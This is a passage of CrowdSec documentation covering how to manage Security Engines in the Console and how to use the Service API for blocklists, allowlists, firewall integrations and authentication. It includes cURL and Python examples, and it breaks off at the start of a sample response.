and Tags Effective management of Security Engines allows for modifying information, such as the name and tags associated with the Engines. * The name must be unique and can be changed at any given time. * Tags facilitate the tracking of Engines. (Example: Using CrowdSec on "AWS" as a "docker") ## Usage[โ€‹](#usage "Direct link to Usage") To update a Security Engine's name or tags, the following steps should be followed: 1. Navigate to the **Security Engines** page. 2. Click on the **"Edit name or tags"** item to access the Engine's menu. ![Edit Engine](/assets/images/edit-engine-88453406d76187e836fc0d3655b145ca.png) 3. The first field is for the **name**, and the second is for **tags**. ![Edit Engine](/assets/images/edit-engine-name-tags-46afae2f611424b39f69c1610af57748.png) 4. Click the **"Update"** button to apply changes, and it will appear directly on the board. ![Edit Engine](/assets/images/edit-engine-updated-91846f92f0aa70e53fae5d6519453c08.png) --- # Pending Security Engines For security reasons, Engines are not enrolled without user verification. A table at the top of your Engines list will display all the waiting requests. However, you can streamline this process using the "Auto-enroll" feature to automatically enroll your Security Engines. ## Usage[โ€‹](#usage "Direct link to Usage") To accept of decline Security Engines waiting enrollment, follow these steps: 1. Navigate to the **Security Engines** page. 2. Have a Security Engine pending to be enroll ![Pending Security Engine](/assets/images/pending-se-table-e2140e8e1c838a8189cf8b88518b4610.png) 3. Select the Security Engines and apply the decisions you want about the request(s) ![Pending Security Engine](/assets/images/pending-se-info-31ab2c3d88f33642cdf0f00976f5a635.png) * Accepting the enrollment, we automatically place the selected Security Engines on your list. * Deleting will decline the request and remove the selected request(s) from your table. This won't affect a new enroll on the same Engine. --- # Removing a Security Engine It is possible to remove an Engine quickly from an organization. This action un-enrolls the chosen Engines from the Console without affecting their operational status or shutting them down. ## Usage[โ€‹](#usage "Direct link to Usage") To remove a Security Engine to another organization, the following steps should be followed: 1. Navigate to the **Security Engines** page. 2. Click the **Remove Security Engine** item to open the corresponding modal. ![Transfer Engine](/assets/images/remove-engine-e0f5bd0e7df3ab5045388b22c31fc99e.png) 3. A modal will appear to validate the choice. Click on the **"I confirm"** button. ![Transfer Engine](/assets/images/remove-engine-modal-e709fac093356a5880c010bee8de3442.png) 4. The Security Engines should be removed from the organization. They can be enrolled again at any time. --- # Select multiple organizations ๐Ÿงช > ๐Ÿงช Beta users only The Multi-organization selection feature allows monitoring engines across multiple organizations. This centralization simplifies the oversight of numerous security systems, making maintaining a high level of security effectiveness easier. This feature ensures you can promptly address the most pressing security concerns without navigating multiple systems or interfaces. ## Usage[โ€‹](#usage "Direct link to Usage") To use the multi organization selection, these steps should be followed: 1. Navigate to the **Security Engines** page. 2. Click on the following button to select multiple organizations: ![Select multiple organizations](/assets/images/select-multiple-organizations-button-ecefd185b6396fdb044586da8b2e316d.png) 3. Click on it to see a modal appear, then select various organizations and click on the confirm button: ![Select multiple organizations modal](/assets/images/select-multiple-organizations-modal-1-04468fe2731f27ec2ae814cee880f48e.png) ![Select multiple organizations modal](/assets/images/select-multiple-organizations-modal-2-af9b17677a4fbfac9cdb8c2879108fcf.png) 4. The list will automatically update to display only the engines that match the search criteria. ![Select multiple organizations modal](/assets/images/select-multiple-organizations-list-adc6ec348fb5e7fa8e295bba8490f30f.png) The [**"Troubleshooting"**](https://docs.crowdsec.net/u/console/security_engines/troubleshooting.md) feature is also applied to multiple organizations. Allowing us to find issues directly across all selected organizations. ![Select multiple organizations modal](/assets/images/select-multiple-organizations-troubleshooting-4f70bc85a3cda933bd2d9ff11f7aff75.png) ### Good to know[โ€‹](#good-to-know "Direct link to Good to know") Foreign Security Engines are not updatable as they are not in the current Organization. To update them, you need to switch to the Organization where the engine is located. ![Select multiple organizations modal](/assets/images/select-multiple-organizations-foreign-engine-41aecc45c887b2d38883457d6d760e5a.png) Clicking on a foreign Security Engine Name will switch to the correct organization and redirect to the Security Engine details page. --- # Transfer Engine For members of multiple organizations, transferring Security Engines between them can streamline the organization. This feature is accessible via the Engine menu. It is important to note that transferring Security Engines requires having **Editor-level permissions** or higher in both organizations. ## Usage[โ€‹](#usage "Direct link to Usage") To transfer a Security Engine to another organization, the following steps should be followed: 1. Navigate to the **Security Engines** page. 2. Click the **Transfer Security Engine to another organization** item to open the corresponding modal. ![Transfer Engine](/assets/images/transfer-engine-6c02cc2ee704f236bff4a8cde1cb312f.png) ![Transfer Engine](/assets/images/transfer-engine-modal-c682a29619596dbf56706d51a205a42e.png) 3. Select an **organization** and confirm the choice. ![Transfer Engine](/assets/images/transfer-engine-organization-0fa2f5329163b1c10b0d151571af1a58.png) 4. The Security Engine is removed from the current organization and should be available in the new one. --- # Troubleshooting Hints This feature simplifies cybersecurity management by providing a quick, comprehensive view of Security Engines requiring immediate action. It's designed for efficiency, enabling you to identify critical issues such as outdated or inactive components with just one click. This functionality ensures streamlined, focused security maintenance, ideal for teams with many servers to monitor simultaneously. This feature will detect the following behaviors needing your remediation attention: * **Inactive Remediation component**: Inactive Remediation Components detected. Affected Security Engines may be unprotected. Please review for possible Engine or machine configuration issues. * **No alerts received within the last 24 hours**: Security Engines have not shared alerts during the previous 24 hours. This could indicate an issue with your machine or monitoring setup. Please validate your setup. * **Security Engines to update**: Security Engines are out of date. This may compromise your security. Please update to the latest version as soon as possible. ## Usage[โ€‹](#usage "Direct link to Usage") To access the Troubleshooting feature, follow these steps: 1. Navigate to the **Security Engines** page. 2. Reaching the page automatically generates a **report** at the top of your engine list. ![Troubleshooting](/assets/images/troubleshooting-report-937071c18434abe1540e05d5086c3ce7.png) 3. You can directly filter on the troubleshooting type by clicking on the **"X engine(s)"** button ![Troubleshooting](/assets/images/troubleshooting-report-filter-3d2d5ff1bc559fd57fac8a196f356cbb.png) 4. The example below shows that all engines require maintenance. A non-working remediation component could be critical. ![Troubleshooting](/assets/images/troubleshooting-report-filtered-page-73c692b0022db962206b6f9dc0ee5a71.png) ### Summary view[โ€‹](#summary-view "Direct link to Summary view") The summary view provides a quick overview of the issues detected on your Security Engines. By default, the Troubleshoot report is in an **"Extended"** view. You switch to a smaller view called **"Summary"**. 1. Navigate to the **Security Engines** page. 2. Click the icon in the top right corner of the report. ![Troubleshooting](/assets/images/troubleshooting-summary-button-a8c4c460b3fd69b4216c5db0af8c19c1.png) 3. You can view the **Summary** now. Clicking the button will filter by troubleshooting type. ![Troubleshooting](/assets/images/troubleshooting-summary-view-47cf86222e7d117b6fcc718f076fb6a8.png) --- # Blocklists ## Introduction[โ€‹](#introduction "Direct link to Introduction") the `blocklists` feature of the service API allows you to create, populate, subscribe to and share blocklists. ## Populating blocklists[โ€‹](#populating-blocklists "Direct link to Populating blocklists") When populating blocklists, two strategies are currently available: * [`/upload`](https://admin.api.crowdsec.net/v1/docs#tag/Blocklists/operation/uploadBlocklistContent) allows you to replace the existing content of the blocklist. * [`/ips`](https://admin.api.crowdsec.net/v1/docs#tag/Blocklists/operation/addIpsToBlocklist) and [`/ips/delete`](https://admin.api.crowdsec.net/v1/docs#tag/Blocklists/operation/deleteIpsFromBlocklist) allow you to perform incremental changes on the blocklist by adding or removing IPs by batches. ## Blocklist subscription mechanism[โ€‹](#blocklist-subscription-mechanism "Direct link to Blocklist subscription mechanism") When [subscribing to blocklists](https://admin.api.crowdsec.net/v1/docs#tag/Blocklists/operation/subscribeBlocklist), you can use various `entity_type` : * A [Security Engine](https://doc.crowdsec.net/docs/next/intro) (entity\_type `engine`). [Remediation Components (Bouncers)](https://doc.crowdsec.net/u/bouncers/intro) connected to it will benefit of the blocklist * A [Firewall Integration](https://docs.crowdsec.net/u/integrations/intro.md) (entity\_type `firewall_integration`). This allows to use blocklists directly on your existing Firewall Appliances (CISCO, F5, Palo Alto etc.) without having to install a Security Engine or "Bouncer". * A [Remediation Component](https://doc.crowdsec.net/u/bouncers/intro) (entity\_type `remediation_component_integration`). This allows to use a "Bouncer" directly without having to deploy a Security Engine. * You can as well subscribe via a `tag` (entity\_type `tag`). This means that future Security Engines associated to this tag will **automatically** be subscribed to the blocklist. * You can also subscribe via an `org` directly. This means that future Security Engines enrolled in this org will **automatically** be subscribed to the blocklist. ## Sharing private blocklists with other organizations[โ€‹](#sharing-private-blocklists-with-other-organizations "Direct link to Sharing private blocklists with other organizations") The [`/blocklists/{blocklist_id}/shares`](https://admin.api.crowdsec.net/v1/docs#tag/Blocklists/operation/shareBlocklist) endpoint allows you to share a private blocklist with other organizations. When sharing your blocklist with another organization, decide the `permission` you give them on your blocklist: * `read` : they can subscribe to the blocklist, download its content and view the blocklist(s) statistics. * `write` : they can add and remove IPs ## Statistics Explained[โ€‹](#statistics-explained "Direct link to Statistics Explained") The statistics provided when you query the [`GET /blocklists/{blocklist_id}`](https://admin.api.crowdsec.net/v1/docs#tag/Blocklists/operation/getBlocklist) endpoint are divided into two sections. The `stats` section contains basic information about the blocklists itself, like how many IPs it contains and how this count changes over time. The `content_stats` section contains detailed stats about the IPs currently in the blocklist, such as the top AS represented and so on. * `stats.content_stats.total_seen`: Number of IPs that were seen by the Crowdsec network * `stats.content_stats.total_fire`: Number of IPs that are currently in the Crowdsec Community Blocklist * `stats.content_stats.total_seen_1m`: Number of IPs that were seen by the Crowdsec network in the past 30 days * `stats.content_stats.total_in_other_lists`: Number of IPs that are also present in other public blocklists * `stats.content_stats.total_false_positive`: Number of false positives (cdns, scanners etc.) identified by Crowdsec in the blocklist. Note that we automatically remove false positives in blocklists provided by Crowdsec, so this field will only be non-zero for custom blocklists. * `stats.content_stats.false_positive_removed_by_crowdsec`: Number of false positives our system removed from the blocklist * `stats.content_stats.most_present_behaviors`: Array containing the top 10 most seen behaviors (`http:exploit`, `ssh:bruteforce` etc.) for IPs in the blocklist * `stats.content_stats.most_present_categories`: Array containing the top 10 most seen categories (insecure\_services etc.) for IPs in the blocklist * `stats.content_stats.most_present_scenarios`: Array containing the top 10 scenarios which IPs in the blocklist were reported for. This only displays scenarios that are publicly available in our hub. * `stats.content_stats.top_as`: Array containing the top 10 autonomous systems (AS) for IPs in the blocklist * `stats.content_stats.top_attacking_countries`: Array containing the top 10 countries of origin for IPs in the blocklist * `stats.content_stats.top_ips`: Array containing the top 10 most reported IPs in the blocklist * `stats.addition_2days`: Number of IPs added to the blocklist over the last 2 days * `stats.addition_month`: Number of IPs added to the blocklist over the last 30 days * `stats.suppression_2days`: Number of IPs removed (by expiration) over the last 2 days * `stats.suppression_month`: Number of IPs removed (by expiration) over the last 30 days * `stats.change_2days_percentage`: Percentage of IPs in blocklist that were changed (added or deleted) in the last 2 days * `stats.change_month_percentage`: Percentage of IPs in blocklist that were changed (added or deleted) in the past month * `stats.count`: Number of IPs in the blocklist * `stats.updated_at`: When these stats were last computed --- # FAQ ## Creating public blocklists[โ€‹](#creating-public-blocklists "Direct link to Creating public blocklists") As you might have noticed in the [blocklist creation](https://admin.api.crowdsec.net/v1/docs#tag/Blocklists/operation/createBlocklist) methods, there is a `public` flag that is set to `false` by default. We decided to manually vest any new public blocklist for the time being. If you want to share yours on the platform, you're more than welcome to reach us at `support *at* crowdsec.net`. --- # Getting Started CrowdSec Premium Feature ## What is the Service API ?[โ€‹](#what-is-the-service-api- "Direct link to What is the Service API ?") The **Service API**, **SAPI** for short, provides access to selected **CrowdSec SaaS features**. New SaaS features will usually appear on **SAPI** first before getting their UI counterpart. The current capabilities of this API are: * **Blocklist** creation & management * Allowing you to create private blocklists and share them * As well as subscribing to any of the blocklists available to your organization * **Integrations** endpoints creation & management * An Essential part of the **Blocklist as a Service** feature. * Manage endpoints for your [**Firewalls**](https://docs.crowdsec.net/u/integrations/intro.md) or [**Remediation Components**](https://docs.crowdsec.net/u/bouncers/intro.md) to connect directly to. ## Getting your API keys[โ€‹](#getting-your-api-keys "Direct link to Getting your API keys") The CrowdSec Service API uses API keys to authenticate requests. You can create an API key in the CrowdSec Console by: 1. **Logging in** to the [CrowdSec Console](https://app.crowdsec.net/) and go to the **Settings** page. ![Settings\_page](/assets/images/main-44951c6e57f736321bbef57cd1d925ef.png) 2. Click on the **Service API Keys** section. ![Service\_API\_Keys](/assets/images/sapi_keys-bffbbd6aba96f1301d0249080792f8ff.png) 3. Click on the **Create API Key** button, fill in the form, set the permissions you want to grant. ![Create\_API\_Key](/assets/images/sapi_create_key-3191ec4b281aa3a9cf238e20a4fef167.png) 6. Click on the **Create key** button. ![API\_Key\_Created](/assets/images/sapi_key_created-a953dbcbf0bd7fe8d17f4163c2ee95fb.png) ## API Specifications[โ€‹](#api-specifications "Direct link to API Specifications") You can find a detailed description of the API in multiple formats here: * [Redoc](https://admin.api.crowdsec.net/v1/docs) * [Openapi specs](https://admin.api.crowdsec.net/v1/openapi.json) --- # Integrations ## Integration supported formats[โ€‹](#integration-supported-formats "Direct link to Integration supported formats") For some constructors, the integrations can generate vendor-specific format, see table below: | Constructor | Authentication | Multiple URLs | Constructor Doc | Format | | ----------- | -------------- | ------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------ | | CheckPoint | Basic Auth | Yes | [CheckPoint doc](https://support.checkpoint.com/results/sk/sk132193) | `checkpoint` | | Cisco | Basic Auth | Yes | [Cisco doc](https://www.cisco.com/c/en/us/td/docs/security/secure-firewall/management-center/device-config/710/management-center-device-config-71/objects-object-mgmt.html#ID-2243-00000291) | `cisco` | | F5 | Basic Auth | Yes | [F5 doc](https://techdocs.f5.com/kb/en-us/products/big-ip-afm/manuals/product/big-ip-network-firewall-policies-and-implementations-14-0-0/07.html) | `f5` | | Fortinet | Basic Auth | Yes | [Fortinet doc](https://docs.fortinet.com/document/fortigate/6.4.5/administration-guide/891236/external-blocklist-policy) | `fortigate` | | Palo alto | Basic Auth | Yes | [PaloAlto doc](https://docs.paloaltonetworks.com/pan-os/11-1/pan-os-admin/policy/use-an-external-dynamic-list-in-policy/configure-the-firewall-to-access-an-external-dynamic-list) | `paloalto` | | Sophos | Basic Auth | Yes | [Sophos doc](https://docs.sophos.com/nsg/sophos-firewall/latest/Help/en-us/webhelp/onlinehelp/AdministratorHelp/ActiveThreatResponse/ConfigureFeeds/ThirdPartyThreatFeeds/index.html) | `sophos` | For all the other providers, the `plain_text` format consists of one ip per line, and should be supported by most devices. If a specific format is missing, reach out to us and we'll help you support it! ## Managing integrations size limits with pagination[โ€‹](#managing-integrations-size-limits-with-pagination "Direct link to Managing integrations size limits with pagination") Some firewalls or security devices impose strict limits on how many IP addresses can be imported or processed from an external blocklist. When a blocklist exceeds these limits, it can lead to incomplete imports or failures during updates. To address this, CrowdSec integrations support pagination, allowing you to fetch IPs in manageable chunks. ### Why pagination matters[โ€‹](#why-pagination-matters "Direct link to Why pagination matters") Pagination ensures that large blocklists are retrieved and processed efficiently by splitting them into smaller segments. This helps: * Avoid exceeding the maximum number of entries a firewall can handle per list. * Maintain reliable updates without API timeouts. * Improve performance when synchronizing IPs from CrowdSec. ### How pagination works[โ€‹](#how-pagination-works "Direct link to How pagination works") You can control pagination using two query parameters in the integration API URL: * `page`: The current page number (starting from 1). * `page_size`: The number of IP addresses to include per page. Example request: TEXTCOPY ``` GET https://admin.api.crowdsec.net/v1/integrations/123/content?page=1&page_size=1500 ``` * The above request retrieves the first 1,500 IPs in the list. * To fetch the next batch, increment the page parameter: TEXTCOPY ``` GET https://admin.api.crowdsec.net/v1/integrations/123/content?page=2&page_size=1500 ``` Repeat this process until no new results are returned. ### Example use case (Palo Alto firewall)[โ€‹](#example-use-case-palo-alto-firewall "Direct link to Example use case (Palo Alto firewall)") A Palo Alto firewall may limit external dynamic lists between 50,000 and 150,000 entries depending on the model. If your CrowdSec blocklist exceeds this limit, you can set `page_size` to 50,000 and iterate through pages until all IPs are retrieved. 1. Start with `page=1` and `page_size=50000`. 2. Add the dynamic list to the firewall. 3. Increment the `page` parameter and add the new dynamic list. 4. Repeat until all IPs are processed. ### Pro Tip[โ€‹](#pro-tip "Direct link to Pro Tip") When you know the maximum number of entries your device can handle, and you want to calculate the number of pages needed, you will also need to know the total number of IPs in your integration. You can get this information from the [integration details page](https://app.crowdsec.net/blocklists/integrations), where you can find the "Total IPs" count. Then, use the following formula: TEXTCOPY ``` number_of_pages = ceil(total_ips / page_size) ``` --- # Allowlists info * We're assuming your API key is set in the environment variable `$KEY` with the necessary permissions. ### Create an allowlist[โ€‹](#create-an-allowlist "Direct link to Create an allowlist") > Create a new allowlist named `my_test_allowlist` * cURL * Python SHCOPY ``` curl -i -H "x-api-key: ${KEY}" -X POST -H "Content-Type: application/json" \ https://admin.api.crowdsec.net/v1/allowlists \ -d '{ "name":"my_test_allowlist", "description": "testing allowlists feature" }' ``` PYCOPY ``` import os KEY = os.getenv('KEY') from crowdsec_service_api import ( Allowlists, Server, ApiKeyAuth, ) from crowdsec_service_api.models import AllowlistCreateRequest auth = ApiKeyAuth(api_key=KEY) client = Allowlists(base_url=Server.production_server.value, auth=auth) request = AllowlistCreateRequest( name="test_allowlist_1", description="my test allowlist", ) response = allowlists_client.create_allowlist(request=request) print(response.model_dump_json()) ``` * [Redoc method link](https://admin.api.crowdsec.net/v1/docs#tag/Allowlists/operation/createAllowlist) info The `id` element of the response payload is going to be used as the future identifier operations targeting this allowlist. Important Creating an allowlist is only the first step. **The allowlist will not take effect until you subscribe at least one entity** (Security Engine, Integration, Tag, or Organization) to it. See [Subscribe to an allowlist](#subscribe-to-an-allowlist) below. answer on success JSONCOPY ``` { "id": "1234MYALLOWLISTID", "organization_id": "MY-ORG-ID-abcdef1234", "name": "test_allowlist_1", "description": "my test allowlist", "created_at": "2025-03-26T14:55:24.582124Z", "updated_at": null, "from_cti_query": null, "since": null, "total_items": 0 } ``` ### List all allowlists[โ€‹](#list-all-allowlists "Direct link to List all allowlists") * cURL * Python SHCOPY ``` curl -i -H "x-api-key: ${KEY}" -H "Content-Type: application/json" \ https://admin.api.crowdsec.net/v1/allowlists ``` PYCOPY ``` import os KEY = os.getenv('KEY') from crowdsec_service_api import ( Allowlists, Server, ApiKeyAuth, ) auth = ApiKeyAuth(api_key=KEY) client = Allowlists(base_url=Server.production_server.value, auth=auth) response = client.get_allowlists() print(response.model_dump_json()) ``` * [Redoc method link](https://admin.api.crowdsec.net/v1/docs#tag/Allowlists/operation/listAllowlists) answer on success JSONCOPY ``` { "items": [ { "id": "1234MYALLOWLISTID", "organization_id": "MY-ORG-ID-abcdef1234", "name": "test_allowlist_1", "description": "", "created_at": "2025-03-26T14:55:24.582124Z", "updated_at": null, "from_cti_query": null, "since": null, "total_items": 2, "subscribers": [] } ], "total": 1, "page": 1, "size": 50, "pages": 1, "links": { "first": "/v1/allowlists?size=50&page=1", "last": "/v1/allowlists?size=50&page=1", "self": "/v1/allowlists?page=1&size=50", "next": null, "prev": null } } ``` ### Add some IPs to the allowlist[โ€‹](#add-some-ips-to-the-allowlist "Direct link to Add some IPs to the allowlist") > Add IPs `1.2.3.4` and `5.6.7.8` to allowlist * cURL * Python SHCOPY ``` curl -i -H "x-api-key: ${KEY}" -X POST -H "Content-Type: application/json" \ https://admin.api.crowdsec.net/v1/allowlists/1234MYALLOWLISTID/items \ -d '{ "items": ["1.2.3.4", "5.6.7.8"], "description": "allow my office ips"}' ``` PYCOPY ``` import os from datetime import datetime, UTC, timedelta KEY = os.getenv('KEY') EXPIRATION = datetime.now(UTC) + timedelta(days=1) from crowdsec_service_api import ( Allowlists, Server, ApiKeyAuth, ) from crowdsec_service_api.models import AllowlistItemsCreateRequest auth = ApiKeyAuth(api_key=KEY) client = Allowlists(base_url=Server.production_server.value, auth=auth) request = AllowlistItemsCreateRequest( items=[ "1.2.3.4", "5.6.7.8", ], description="allow my office ips", ) response = client.create_allowlist_items( allowlist_id="1234MYALLOWLISTID", request=request ) print(response) ``` * [Redoc method link](https://admin.api.dev.crowdsec.net/v1/docs#tag/Allowlists/operation/createAllowlistItems) note The `expiration` field is optional and indicates when the IP should be deleted from the allowlist. An IP can stand in the allowlist for ever without expiration. ### List all items in the allowlist[โ€‹](#list-all-items-in-the-allowlist "Direct link to List all items in the allowlist") * cURL * Python SHCOPY ``` curl -i -H "x-api-key: ${KEY}" -H "Content-Type: application/json" \ https://admin.api.crowdsec.net/v1/allowlists/1234MYALLOWLISTID/items ``` PYCOPY ``` import os KEY = os.getenv('KEY') from crowdsec_service_api import ( Allowlists, Server, ApiKeyAuth, ) auth = ApiKeyAuth(api_key=KEY) client = Allowlists(base_url=Server.production_server.value, auth=auth) response = client.get_allowlist_items( allowlist_id='1234MYALLOWLISTID', ) print(response.model_dump_json()) ``` * [Redoc method link](https://admin.api.crowdsec.net/v1/docs#tag/Allowlists/operation/getAllowlistItems) answer on success JSONCOPY ``` { "items": [ { "id": "67e418019f43fb6d0b985e26", "allowlist_id": "67e4155c52f3aa0a4f6c8d93", "description": "allow my office ips", "scope": "ip", "value": "1.2.3.4", "created_at": "2025-03-26T15:06:41.719000Z", "updated_at": null, "created_by": { "source_type": "apikey", "identifier": "test-key-for-monitoring" }, "updated_by": null, "expiration": null }, { "id": "67e418019f43fb6d0b985e27", "allowlist_id": "67e4155c52f3aa0a4f6c8d93", "description": "allow my office ips", "scope": "ip", "value": "5.6.7.8", "created_at": "2025-03-26T15:06:41.719000Z", "updated_at": null, "created_by": { "source_type": "apikey", "identifier": "test-key-for-monitoring" }, "updated_by": null, "expiration": null } ], "total": 2, "page": 1, "size": 50, "pages": 1, "links": { "first": "/v1/allowlists/67e4155c52f3aa0a4f6c8d93/items?size=50&page=1", "last": "/v1/allowlists/67e4155c52f3aa0a4f6c8d93/items?size=50&page=1", "self": "/v1/allowlists/67e4155c52f3aa0a4f6c8d93/items?page=1&size=50", "next": null, "prev": null } } ``` ### Update an item in the allowlist[โ€‹](#update-an-item-in-the-allowlist "Direct link to Update an item in the allowlist") > can be used to update the description or add an expiration date to the item * cURL * Python SHCOPY ``` curl -i -H "x-api-key: ${KEY}" -H "Content-Type: application/json" \ https://admin.api.crowdsec.net/v1/allowlists/1234MYALLOWLISTID/items/67e418019f43fb6d0b985e26 \ -X PATCH -d '{ "description": "allow my office ips for 1 day", "expiration": "2025-03-27T16:45:53" }' ``` PYCOPY ``` import os import datetime KEY = os.getenv('KEY') from crowdsec_service_api import ( Allowlists, Server, ApiKeyAuth, ) from crowdsec_service_api.models import AllowlistItemUpdateRequest auth = ApiKeyAuth(api_key=KEY) client = Allowlists(base_url=Server.production_server.value, auth=auth) request = AllowlistItemUpdateRequest( description="allow my office ips for 1 day", expiration=datetime.datetime.now() + datetime.timedelta(days=1), ) response = client.update_allowlist_item( allowlist_id='1234MYALLOWLISTID', item_id='67e418019f43fb6d0b985e26', request=request, ) print(response) ``` * [Redoc method link](https://admin.api.crowdsec.net/v1/docs#tag/Allowlists/operation/updateAllowlistItem) answer on success JSONCOPY ``` { "id": "67e418019f43fb6d0b985e26", "allowlist_id": "1234MYALLOWLISTID", "description": "allow my office ips for 1 day", "scope": "ip", "value": "1.2.3.4", "created_at": "2025-03-26T15:06:41.719000Z", "updated_at": "2025-03-26T15:45:53.373141Z", "created_by": { "source_type": "apikey", "identifier": "test-key-for-monitoring" }, "updated_by": { "source_type": "apikey", "identifier": "test-key-for-monitoring" }, "expiration": "2025-03-27T16:45:53.238842" } ``` ### Subscribe to an allowlist[โ€‹](#subscribe-to-an-allowlist "Direct link to Subscribe to an allowlist") #### Allowlist subscription mechanism[โ€‹](#allowlist-subscription-mechanism "Direct link to Allowlist subscription mechanism") When [subscribing to allowlists](https://admin.api.crowdsec.net/v1/docs#tag/Allowlists/operation/subscribeAllowlist), you can use various `entity_type` : * A [Security Engine](https://docs.crowdsec.net/u/getting_started/intro.md) (entity\_type `engine`). [Remediation Components (Bouncers)](https://doc.crowdsec.net/u/bouncers/intro) connected to it will benefit of the allowlist. * A [Firewall Integration](https://docs.crowdsec.net/u/integrations/intro.md) (entity\_type `firewall_integration`). This allows to use benefit from allowlists directly on your existing Firewall Appliances (CISCO, F5, Palo Alto etc.) without having to install a Security Engine or "Bouncer". * A [Remediation Component Integration](https://docs.crowdsec.net/u/bouncers/intro.md) (entity\_type `remediation_component_integration`). This allows to use a "Bouncer" directly without having to deploy a Security Engine. * You can as well subscribe via a `tag` (entity\_type `tag`). This means that future Security Engines associated to this tag will **automatically** be subscribed to the allowlist. * You can also subscribe via an `org` directly. This means that future Security Engines enrolled in this org will **automatically** be subscribed to the allowlist. - cURL - Python SHCOPY ``` curl -i -H "x-api-key: ${KEY}" -X POST -H "Content-Type: application/json" \ https://admin.api.crowdsec.net/v1/allowlists/1234MYBLOCKLISTID/subscribers \ -d '{ "ids": ["SECENGINEID5678"], "entity_type": "engine" }' ``` PYCOPY ``` import os KEY = os.getenv('KEY') from crowdsec_service_api import ( Allowlists, Server, ApiKeyAuth, ) from crowdsec_service_api.models import AllowlistSubscriptionRequest auth = ApiKeyAuth(api_key=KEY) client = Allowlists(base_url=Server.production_server.value, auth=auth) request = AllowlistSubscriptionRequest( ids=['SECENGINEID5678'], entity_type='engine', ) response = client.subscribe_allowlist( request=request, allowlist_id='1234MYALLOWLISTID', ) print(response) ``` * [Redoc method link](https://admin.api.crowdsec.net/v1/docs#tag/Allowlists/operation/subscribeAllowlist) answer on success JSONCOPY ``` {"updated":["SECENGINEID5678"],"errors":[]} ``` --- # Authentication Once you have created an API key, you can use it to authenticate requests to the CrowdSec Service API by including it in the `x-api-key` header of your HTTP requests. info * We're assuming your API key is set in the environment variable `$KEY` - cURL - Python SHCOPY ``` curl -i -H "x-api-key: ${KEY}" -X GET -H "Content-Type: application/json" \ https://admin.api.crowdsec.net/v1/info ``` PYCOPY ``` import os from crowdsec_service_api import ( Server, ApiKeyAuth, Info, ) KEY = os.getenv('KEY') auth = ApiKeyAuth(api_key=KEY) client = Info(base_url=Server.production_server.value, auth=auth) # Get info about the user response = client.get_info() print(response) ``` answer on success JSONCOPY ``` { "organization_id": "MY-ORG-ID-abcdef1234", "subscription_type": "ENTERPRISE", "api_key_name": "my test api key" } ``` --- # Blocklists info * We're assuming your API key is set in the environment variable `$KEY` with the necessary permissions. ### Create a blocklist[โ€‹](#create-a-blocklist "Direct link to Create a blocklist") > Create a new private blocklist named `my_test_blocklist` * cURL * Python SHCOPY ``` curl -i -H "x-api-key: ${KEY}" -X POST -H "Content-Type: application/json" \ https://admin.api.crowdsec.net/v1/blocklists \ -d '{ "name":"my_test_blocklist", "description": "testing blocklists feature" }' ``` PYCOPY ``` import os KEY = os.getenv('KEY') from crowdsec_service_api import ( Blocklists, Server, ApiKeyAuth, ) from crowdsec_service_api.models import BlocklistCreateRequest auth = ApiKeyAuth(api_key=KEY) client = Blocklists(base_url=Server.production_server.value, auth=auth) request = BlocklistCreateRequest( name='my_test_blocklist', description='testing blocklists feature', ) response = client.create_blocklist( request=request, ) print(response) ``` * [Redoc method link](https://admin.api.crowdsec.net/v1/docs#tag/Blocklists/operation/createBlocklist) info The `id` element of the response payload is going to be used as the future identifier operations targeting this blocklist. answer on success JSONCOPY ``` { "id": "1234MYBLOCKLISTID", "created_at": "2024-06-06T07:33:38.509837Z", "updated_at": "2024-06-06T07:33:38.509839Z", "name": "my_test_blocklist", "label": "my_test_blocklist", "description": "testing blocklists feature", "references": [], "is_private": true, "tags": [], "pricing_tier": "free", "source": "custom", "stats": { "content_stats": { "total_seen": 0, "total_fire": 0, "total_seen_1m": 0, "total_in_other_lists": 0, "total_false_positive": 0, "false_positive_removed_by_crowdsec": 0, "most_present_behaviors": [], "most_present_categories": [], "most_present_scenarios": [], "top_as": [], "top_attacking_countries": [], "top_ips": [], "updated_at": null }, "usage_stats": { "engines_subscribed_directly": 0, "engines_subscribed_through_org": 0, "engines_subscribed_through_tag": 0, "total_subscribed_engines": 0, "updated_at": null }, "addition_2days": 0, "addition_month": 0, "suppression_2days": 0, "suppression_month": 0, "change_2days_percentage": 0, "change_month_percentage": 0, "count": 0, "updated_at": null }, "from_cti_query": null, "since": null, "shared_with": [], "organization_id": "MY-ORG-ID-abcdef1234", "subscribers": [] } ``` ### Add some IPs to blocklist[โ€‹](#add-some-ips-to-blocklist "Direct link to Add some IPs to blocklist") > Add IPs `1.2.3.4` and `5.6.7.8` to blocklist for the next 24h * cURL * Python SHCOPY ``` curl -i -H "x-api-key: ${KEY}" -X POST -H "Content-Type: application/json" \ https://admin.api.crowdsec.net/v1/blocklists/1234MYBLOCKLISTID/ips \ -d '{ "ips": ["1.2.3.4", "5.6.7.8"], "expiration": "'`date --date='tomorrow' '+%FT%T'`'"}' ``` PYCOPY ``` import os from datetime import datetime, UTC, timedelta KEY = os.getenv('KEY') EXPIRATION = datetime.now(UTC) + timedelta(days=1) from crowdsec_service_api import ( Blocklists, Server, ApiKeyAuth, ) from crowdsec_service_api.models import BlocklistAddIPsRequest auth = ApiKeyAuth(api_key=KEY) client = Blocklists(base_url=Server.production_server.value, auth=auth) request = BlocklistAddIPsRequest( ips=["1.2.3.4", "5.6.7.8"], expiration=EXPIRATION, ) response = client.add_ips_to_blocklist( request=request, blocklist_id='sample-blocklist-id', ) print(response) ``` * [Redoc method link](https://admin.api.crowdsec.net/v1/docs#tag/Blocklists/operation/addIpsToBlocklist) note The `expiration` field is mandatory and indicates when the IP should be deleted from the blocklist. ### View blocklist stats[โ€‹](#view-blocklist-stats "Direct link to View blocklist stats") info When querying stats about a blocklist, you will also get information about how the IPs are known in the CTI. However, keep in mind that those statistics are computed upon list modification, and then refreshed every 6 hours. * cURL * Python SHCOPY ``` curl -i -H "x-api-key: ${KEY}" -H "Content-Type: application/json" \ https://admin.api.crowdsec.net/v1/blocklists/1234MYBLOCKLISTID ``` PYCOPY ``` import os KEY = os.getenv('KEY') from crowdsec_service_api import ( Blocklists, Server, ApiKeyAuth, ) auth = ApiKeyAuth(api_key=KEY) client = Blocklists(base_url=Server.production_server.value, auth=auth) response = client.get_blocklist( blocklist_id='1234MYBLOCKLISTID', ) print(response) ``` * [Redoc method link](https://admin.api.crowdsec.net/v1/docs#tag/Blocklists/operation/getBlocklist) answer on success 